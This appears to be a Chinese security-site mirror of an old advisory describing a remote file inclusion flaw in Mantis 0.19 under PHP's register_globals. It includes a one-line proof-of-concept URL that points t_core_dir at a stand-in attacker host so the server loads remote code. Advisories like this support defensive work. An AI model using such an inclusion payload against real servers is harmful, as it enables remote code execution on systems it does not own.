Mantis 0.19 – Remote Server-Side Script Execution

Mantis 0.19 – Remote Server-Side Script Execution

漏洞ID 1054562 漏洞类型
发布时间 2004-08-21 更新时间 2004-08-21
图片[1]-Mantis 0.19 – Remote Server-Side Script Execution-安全小百科CVE编号 N/A
图片[2]-Mantis 0.19 – Remote Server-Side Script Execution-安全小百科CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/24390
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/10993/info

Mantix is reportedly susceptible to a remote server-side script execution vulnerability. This vulnerability only presents itself when PHP is configured on the hosting computer with 'register_globals = on'.

When PHP is configured to register global variables, an attacker can override variables used by the application in require() statements. By including a URI reference to a web server hosting a malicious script in GET, POST, or cookie data, an attacker can cause the PHP interpreter on the server hosting the affected package to request and execute attacker-supplied code.

This vulnerability could be exploited by a remote attacker to execute arbitrary script code in the context of the server hosting the affected application.

Version 0.19.0a is reported vulnerable to this issue. Other versions are also likely affected. 

http://www.example.com/mantis/core/bug_api.php?t_core_dir=http://attackers.example.com/

相关推荐: RedHat lpr/lpd Vulnerabilities

RedHat lpr/lpd Vulnerabilities 漏洞ID 1104560 漏洞类型 Race Condition Error 发布时间 1999-10-18 更新时间 1999-10-18 CVE编号 N/A CNNVD-ID N/A 漏洞平台 …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享